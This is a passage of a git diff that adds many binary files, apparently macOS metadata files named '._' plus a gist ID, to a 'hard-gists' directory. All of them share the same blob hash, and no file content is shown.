new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5237011 differ
diff --git a/hard-gists/._5237529 b/hard-gists/._5237529
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5237529 differ
diff --git a/hard-gists/._5241369 b/hard-gists/._5241369
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5241369 differ
diff --git a/hard-gists/._5263533 b/hard-gists/._5263533
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5263533 differ
diff --git a/hard-gists/._5263bc6284c4dbe79951 b/hard-gists/._5263bc6284c4dbe79951
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5263bc6284c4dbe79951 differ
diff --git a/hard-gists/._5264046 b/hard-gists/._5264046
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5264046 differ
diff --git a/hard-gists/._5267494 b/hard-gists/._5267494
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5267494 differ
diff --git a/hard-gists/._5269514 b/hard-gists/._5269514
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5269514 differ
diff --git a/hard-gists/._5284646 b/hard-gists/._5284646
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5284646 differ
diff --git a/hard-gists/._5287589 b/hard-gists/._5287589
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5287589 differ
diff --git a/hard-gists/._5289693 b/hard-gists/._5289693
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5289693 differ
diff --git a/hard-gists/._528d816d035f2deaaca1 b/hard-gists/._528d816d035f2deaaca1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._528d816d035f2deaaca1 differ
diff --git a/hard-gists/._5292f95000e409e239b9dc973295327a b/hard-gists/._5292f95000e409e239b9dc973295327a
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5292f95000e409e239b9dc973295327a differ
diff --git a/hard-gists/._5297676 b/hard-gists/._5297676
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5297676 differ
diff --git a/hard-gists/._5297697 b/hard-gists/._5297697
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5297697 differ
diff --git a/hard-gists/._529816 b/hard-gists/._529816
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._529816 differ
diff --git a/hard-gists/._52bba57f724e38229da9d85fbc85b673 b/hard-gists/._52bba57f724e38229da9d85fbc85b673
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._52bba57f724e38229da9d85fbc85b673 differ
diff --git a/hard-gists/._52ec27e3010a3fd852e1d0d6e2ab5180 b/hard-gists/._52ec27e3010a3fd852e1d0d6e2ab5180
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._52ec27e3010a3fd852e1d0d6e2ab5180 differ
diff --git a/hard-gists/._5301ff823bef4b5eae52 b/hard-gists/._5301ff823bef4b5eae52
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5301ff823bef4b5eae52 differ
diff --git a/hard-gists/._5303446 b/hard-gists/._5303446
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5303446 differ
diff --git a/hard-gists/._5305869 b/hard-gists/._5305869
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5305869 differ
diff --git a/hard-gists/._5305895 b/hard-gists/._5305895
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5305895 differ
diff --git a/hard-gists/._5307284 b/hard-gists/._5307284
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5307284 differ
diff --git a/hard-gists/._530c20924768ce180923 b/hard-gists/._530c20924768ce180923
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._530c20924768ce180923 differ
diff --git a/hard-gists/._5310037 b/hard-gists/._5310037
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5310037 differ
diff --git a/hard-gists/._5316196 b/hard-gists/._5316196
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5316196 differ
diff --git a/hard-gists/._5326230 b/hard-gists/._5326230
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5326230 differ
diff --git a/hard-gists/._5326379 b/hard-gists/._5326379
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5326379 differ
diff --git a/hard-gists/._5328738 b/hard-gists/._5328738
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5328738 differ
diff --git a/hard-gists/._5329310 b/hard-gists/._5329310
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5329310 differ
diff --git a/hard-gists/._5330231 b/hard-gists/._5330231
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5330231 differ
diff --git a/hard-gists/._5330566 b/hard-gists/._5330566
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5330566 differ
diff --git a/hard-gists/._5338905 b/hard-gists/._5338905
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5338905 differ
diff --git a/hard-gists/._5344084 b/hard-gists/._5344084
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5344084 differ
diff --git a/hard-gists/._5352608 b/hard-gists/._5352608
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5352608 differ
diff --git a/hard-gists/._5355925 b/hard-gists/._5355925
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5355925 differ
diff --git a/hard-gists/._5356796 b/hard-gists/._5356796
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5356796 differ
diff --git a/hard-gists/._5358040 b/hard-gists/._5358040
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5358040 differ
diff --git a/hard-gists/._535acf4c62ee2a71da498281c2dfc4f4 b/hard-gists/._535acf4c62ee2a71da498281c2dfc4f4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._535acf4c62ee2a71da498281c2dfc4f4 differ
diff --git a/hard-gists/._5372873 b/hard-gists/._5372873
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5372873 differ
diff --git a/hard-gists/._5377033 b/hard-gists/._5377033
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5377033 differ
diff --git a/hard-gists/._5378938 b/hard-gists/._5378938
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5378938 differ
diff --git a/hard-gists/._5380169 b/hard-gists/._5380169
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5380169 differ
diff --git a/hard-gists/._5382778 b/hard-gists/._5382778
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5382778 differ
diff --git a/hard-gists/._5383149 b/hard-gists/._5383149
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5383149 differ
diff --git a/hard-gists/._539928493c4e74b3ec112f4cf4a6df91 b/hard-gists/._539928493c4e74b3ec112f4cf4a6df91
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._539928493c4e74b3ec112f4cf4a6df91 differ
diff --git a/hard-gists/._539a9ec008b1e5b3b7fd b/hard-gists/._539a9ec008b1e5b3b7fd
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._539a9ec008b1e5b3b7fd differ
diff --git a/hard-gists/._53aad9bb83b233b523270c30d36e4c81 b/hard-gists/._53aad9bb83b233b523270c30d36e4c81
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._53aad9bb83b233b523270c30d36e4c81 differ
diff --git a/hard-gists/._5400853 b/hard-gists/._5400853
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5400853 differ
diff --git a/hard-gists/._5403877 b/hard-gists/._5403877
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5403877 differ
diff --git a/hard-gists/._5406587 b/hard-gists/._5406587
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5406587 differ
diff --git a/hard-gists/._540687 b/hard-gists/._540687
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._540687 differ
diff --git a/hard-gists/._5409581 b/hard-gists/._5409581
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5409581 differ
diff --git a/hard-gists/._540f615dd9d54de47dc52b0ca60522c1 b/hard-gists/._540f615dd9d54de47dc52b0ca60522c1
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._540f615dd9d54de47dc52b0ca60522c1 differ
diff --git a/hard-gists/._5415296 b/hard-gists/._5415296
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5415296 differ
diff --git a/hard-gists/._5415869 b/hard-gists/._5415869
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5415869 differ
diff --git a/hard-gists/._5420020 b/hard-gists/._5420020
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5420020 differ
diff --git a/hard-gists/._5420652 b/hard-gists/._5420652
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5420652 differ
diff --git a/hard-gists/._542786 b/hard-gists/._542786
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._542786 differ
diff --git a/hard-gists/._5437131 b/hard-gists/._5437131
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5437131 differ
diff --git a/hard-gists/._5437436 b/hard-gists/._5437436
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5437436 differ
diff --git a/hard-gists/._5441636 b/hard-gists/._5441636
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5441636 differ
diff --git a/hard-gists/._5441be08c6d80ca55040678bcd79c3c5 b/hard-gists/._5441be08c6d80ca55040678bcd79c3c5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5441be08c6d80ca55040678bcd79c3c5 differ
diff --git a/hard-gists/._5443399 b/hard-gists/._5443399
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5443399 differ
diff --git a/hard-gists/._5445149 b/hard-gists/._5445149
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5445149 differ
diff --git a/hard-gists/._5455375 b/hard-gists/._5455375
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5455375 differ
diff --git a/hard-gists/._5455d2c57fb33c1ae04706f2dc4fee01 b/hard-gists/._5455d2c57fb33c1ae04706f2dc4fee01
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5455d2c57fb33c1ae04706f2dc4fee01 differ
diff --git a/hard-gists/._5459536 b/hard-gists/._5459536
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5459536 differ
diff --git a/hard-gists/._5463830 b/hard-gists/._5463830
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5463830 differ
diff --git a/hard-gists/._5463a2fbac8facf55d74 b/hard-gists/._5463a2fbac8facf55d74
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5463a2fbac8facf55d74 differ
diff --git a/hard-gists/._5466822 b/hard-gists/._5466822
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5466822 differ
diff --git a/hard-gists/._5472885 b/hard-gists/._5472885
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5472885 differ
diff --git a/hard-gists/._5473058 b/hard-gists/._5473058
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5473058 differ
diff --git a/hard-gists/._5476453 b/hard-gists/._5476453
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5476453 differ
diff --git a/hard-gists/._5478382 b/hard-gists/._5478382
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5478382 differ
diff --git a/hard-gists/._5478642 b/hard-gists/._5478642
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5478642 differ
diff --git a/hard-gists/._5480533 b/hard-gists/._5480533
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5480533 differ
diff --git a/hard-gists/._5487749 b/hard-gists/._5487749
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5487749 differ
diff --git a/hard-gists/._5488053 b/hard-gists/._5488053
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5488053 differ
diff --git a/hard-gists/._54e6f7d63df3866a87a15aed17b51eaf b/hard-gists/._54e6f7d63df3866a87a15aed17b51eaf
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._54e6f7d63df3866a87a15aed17b51eaf differ
diff --git a/hard-gists/._5502087 b/hard-gists/._5502087
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5502087 differ
diff --git a/hard-gists/._550fe172cd277bb2f057574f2e75aff4 b/hard-gists/._550fe172cd277bb2f057574f2e75aff4
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._550fe172cd277bb2f057574f2e75aff4 differ
diff --git a/hard-gists/._5515619 b/hard-gists/._5515619
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5515619 differ
diff --git a/hard-gists/._5519057 b/hard-gists/._5519057
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5519057 differ
diff --git a/hard-gists/._5520379 b/hard-gists/._5520379
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5520379 differ
diff --git a/hard-gists/._5521548 b/hard-gists/._5521548
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5521548 differ
diff --git a/hard-gists/._5521734 b/hard-gists/._5521734
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5521734 differ
diff --git a/hard-gists/._5527142 b/hard-gists/._5527142
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5527142 differ
diff --git a/hard-gists/._5534008 b/hard-gists/._5534008
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5534008 differ
diff --git a/hard-gists/._5536498 b/hard-gists/._5536498
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5536498 differ
diff --git a/hard-gists/._5540702 b/hard-gists/._5540702
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5540702 differ
diff --git a/hard-gists/._5544335 b/hard-gists/._5544335
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5544335 differ
diff --git a/hard-gists/._5544803 b/hard-gists/._5544803
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5544803 differ
diff --git a/hard-gists/._5553364 b/hard-gists/._5553364
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5553364 differ
diff --git a/hard-gists/._5560796 b/hard-gists/._5560796
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5560796 differ
diff --git a/hard-gists/._5562029 b/hard-gists/._5562029
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5562029 differ
diff --git a/hard-gists/._5574345 b/hard-gists/._5574345
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5574345 differ
diff --git a/hard-gists/._5580829 b/hard-gists/._5580829
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5580829 differ
diff --git a/hard-gists/._5587680 b/hard-gists/._5587680
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5587680 differ
diff --git a/hard-gists/._5596077 b/hard-gists/._5596077
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5596077 differ
diff --git a/hard-gists/._5598271 b/hard-gists/._5598271
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5598271 differ
diff --git a/hard-gists/._559e56401dee3eccfa23 b/hard-gists/._559e56401dee3eccfa23
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._559e56401dee3eccfa23 differ
diff --git a/hard-gists/._55b804cf62b8ee0fa23efdb3ea5a4701 b/hard-gists/._55b804cf62b8ee0fa23efdb3ea5a4701
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._55b804cf62b8ee0fa23efdb3ea5a4701 differ
diff --git a/hard-gists/._5603909 b/hard-gists/._5603909
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5603909 differ
diff --git a/hard-gists/._5604018 b/hard-gists/._5604018
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5604018 differ
diff --git a/hard-gists/._5606474 b/hard-gists/._5606474
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5606474 differ
diff --git a/hard-gists/._5608566 b/hard-gists/._5608566
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5608566 differ
diff --git a/hard-gists/._5610068 b/hard-gists/._5610068
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5610068 differ
diff --git a/hard-gists/._5612981 b/hard-gists/._5612981
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5612981 differ
diff --git a/hard-gists/._5614326 b/hard-gists/._5614326
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5614326 differ
diff --git a/hard-gists/._56180516c91e8b934168ea29c52ee242 b/hard-gists/._56180516c91e8b934168ea29c52ee242
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._56180516c91e8b934168ea29c52ee242 differ
diff --git a/hard-gists/._561bf3bf6c1477d99e7b b/hard-gists/._561bf3bf6c1477d99e7b
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._561bf3bf6c1477d99e7b differ
diff --git a/hard-gists/._561d5eec7fed9ebf48751d124a77b087 b/hard-gists/._561d5eec7fed9ebf48751d124a77b087
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._561d5eec7fed9ebf48751d124a77b087 differ
diff --git a/hard-gists/._5623772 b/hard-gists/._5623772
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5623772 differ
diff --git a/hard-gists/._562f25bbcf20691217b8 b/hard-gists/._562f25bbcf20691217b8
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._562f25bbcf20691217b8 differ
diff --git a/hard-gists/._5633266 b/hard-gists/._5633266
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5633266 differ
diff --git a/hard-gists/._5642247 b/hard-gists/._5642247
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5642247 differ
diff --git a/hard-gists/._5649074 b/hard-gists/._5649074
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5649074 differ
diff --git a/hard-gists/._5650237 b/hard-gists/._5650237
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5650237 differ
diff --git a/hard-gists/._5658529 b/hard-gists/._5658529
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5658529 differ
diff --git a/hard-gists/._5660363 b/hard-gists/._5660363
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5660363 differ
diff --git a/hard-gists/._5660624 b/hard-gists/._5660624
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5660624 differ
diff --git a/hard-gists/._5663cc76aa329b2ddfb5 b/hard-gists/._5663cc76aa329b2ddfb5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5663cc76aa329b2ddfb5 differ
diff --git a/hard-gists/._5665472 b/hard-gists/._5665472
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5665472 differ
diff --git a/hard-gists/._5669126 b/hard-gists/._5669126
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5669126 differ
diff --git a/hard-gists/._566ebde618ec18f2bea6 b/hard-gists/._566ebde618ec18f2bea6
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._566ebde618ec18f2bea6 differ
diff --git a/hard-gists/._5675359 b/hard-gists/._5675359
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5675359 differ
diff --git a/hard-gists/._5679049 b/hard-gists/._5679049
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5679049 differ
diff --git a/hard-gists/._5680477 b/hard-gists/._5680477
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5680477 differ
diff --git a/hard-gists/._5682306 b/hard-gists/._5682306
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5682306 differ
diff --git a/hard-gists/._5684769 b/hard-gists/._5684769
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5684769 differ
diff --git a/hard-gists/._5690111 b/hard-gists/._5690111
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5690111 differ
diff --git a/hard-gists/._5690132 b/hard-gists/._5690132
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5690132 differ
diff --git a/hard-gists/._5690971 b/hard-gists/._5690971
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5690971 differ
diff --git a/hard-gists/._5691375 b/hard-gists/._5691375
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5691375 differ
diff --git a/hard-gists/._5693955 b/hard-gists/._5693955
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5693955 differ
diff --git a/hard-gists/._5696520 b/hard-gists/._5696520
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5696520 differ
diff --git a/hard-gists/._5702d57eb4cb6ef6e7e8 b/hard-gists/._5702d57eb4cb6ef6e7e8
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5702d57eb4cb6ef6e7e8 differ
diff --git a/hard-gists/._5703516 b/hard-gists/._5703516
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5703516 differ
diff --git a/hard-gists/._5710254 b/hard-gists/._5710254
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5710254 differ
diff --git a/hard-gists/._571027 b/hard-gists/._571027
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._571027 differ
diff --git a/hard-gists/._5712436 b/hard-gists/._5712436
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5712436 differ
diff --git a/hard-gists/._5716253 b/hard-gists/._5716253
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5716253 differ
diff --git a/hard-gists/._5717321 b/hard-gists/._5717321
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5717321 differ
diff --git a/hard-gists/._5719077 b/hard-gists/._5719077
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5719077 differ
diff --git a/hard-gists/._5719341 b/hard-gists/._5719341
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5719341 differ
diff --git a/hard-gists/._5720029 b/hard-gists/._5720029
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5720029 differ
diff --git a/hard-gists/._5722085 b/hard-gists/._5722085
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5722085 differ
diff --git a/hard-gists/._5722696 b/hard-gists/._5722696
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5722696 differ
diff --git a/hard-gists/._5735359 b/hard-gists/._5735359
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5735359 differ
diff --git a/hard-gists/._57417446d9c2e986692b3c60069ebc45 b/hard-gists/._57417446d9c2e986692b3c60069ebc45
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._57417446d9c2e986692b3c60069ebc45 differ
diff --git a/hard-gists/._5748e199a3bec164a867c9b654e5ffe5 b/hard-gists/._5748e199a3bec164a867c9b654e5ffe5
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5748e199a3bec164a867c9b654e5ffe5 differ
diff --git a/hard-gists/._574fc95caee4c22f21ed b/hard-gists/._574fc95caee4c22f21ed
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._574fc95caee4c22f21ed differ
diff --git a/hard-gists/._5752919 b/hard-gists/._5752919
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5752919 differ
diff --git a/hard-gists/._5753650 b/hard-gists/._5753650
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5753650 differ
diff --git a/hard-gists/._5761c3be67a0c7d78ec8 b/hard-gists/._5761c3be67a0c7d78ec8
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5761c3be67a0c7d78ec8 differ
diff --git a/hard-gists/._5763651 b/hard-gists/._5763651
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5763651 differ
diff --git a/hard-gists/._5773979 b/hard-gists/._5773979
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5773979 differ
diff --git a/hard-gists/._5778557 b/hard-gists/._5778557
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5778557 differ
diff --git a/hard-gists/._5780124 b/hard-gists/._5780124
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5780124 differ
diff --git a/hard-gists/._5780127 b/hard-gists/._5780127
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5780127 differ
diff --git a/hard-gists/._5781308 b/hard-gists/._5781308
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5781308 differ
diff --git a/hard-gists/._5782780 b/hard-gists/._5782780
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5782780 differ
diff --git a/hard-gists/._5787626 b/hard-gists/._5787626
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5787626 differ
diff --git a/hard-gists/._57901e91e5c5a8bac3eb0cbbdd3aba81 b/hard-gists/._57901e91e5c5a8bac3eb0cbbdd3aba81
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._57901e91e5c5a8bac3eb0cbbdd3aba81 differ
diff --git a/hard-gists/._5793291 b/hard-gists/._5793291
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5793291 differ
diff --git a/hard-gists/._5794494 b/hard-gists/._5794494
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5794494 differ
diff --git a/hard-gists/._5796677 b/hard-gists/._5796677
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5796677 differ
diff --git a/hard-gists/._5803651 b/hard-gists/._5803651
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5803651 differ
diff --git a/hard-gists/._5803923 b/hard-gists/._5803923
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5803923 differ
diff --git a/hard-gists/._5805662 b/hard-gists/._5805662
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5805662 differ
diff --git a/hard-gists/._5807648 b/hard-gists/._5807648
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5807648 differ
diff --git a/hard-gists/._5807738 b/hard-gists/._5807738
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5807738 differ
diff --git a/hard-gists/._5807746 b/hard-gists/._5807746
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5807746 differ
diff --git a/hard-gists/._5808d73731b50f8abbdcb3c3c5c1e6fa b/hard-gists/._5808d73731b50f8abbdcb3c3c5c1e6fa
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5808d73731b50f8abbdcb3c3c5c1e6fa differ
diff --git a/hard-gists/._5809279 b/hard-gists/._5809279
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5809279 differ
diff --git a/hard-gists/._5819145 b/hard-gists/._5819145
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5819145 differ
diff --git a/hard-gists/._5823693 b/hard-gists/._5823693
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5823693 differ
diff --git a/hard-gists/._5823716a1da5f0273504 b/hard-gists/._5823716a1da5f0273504
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/._5823716a1da5f0273504 differ
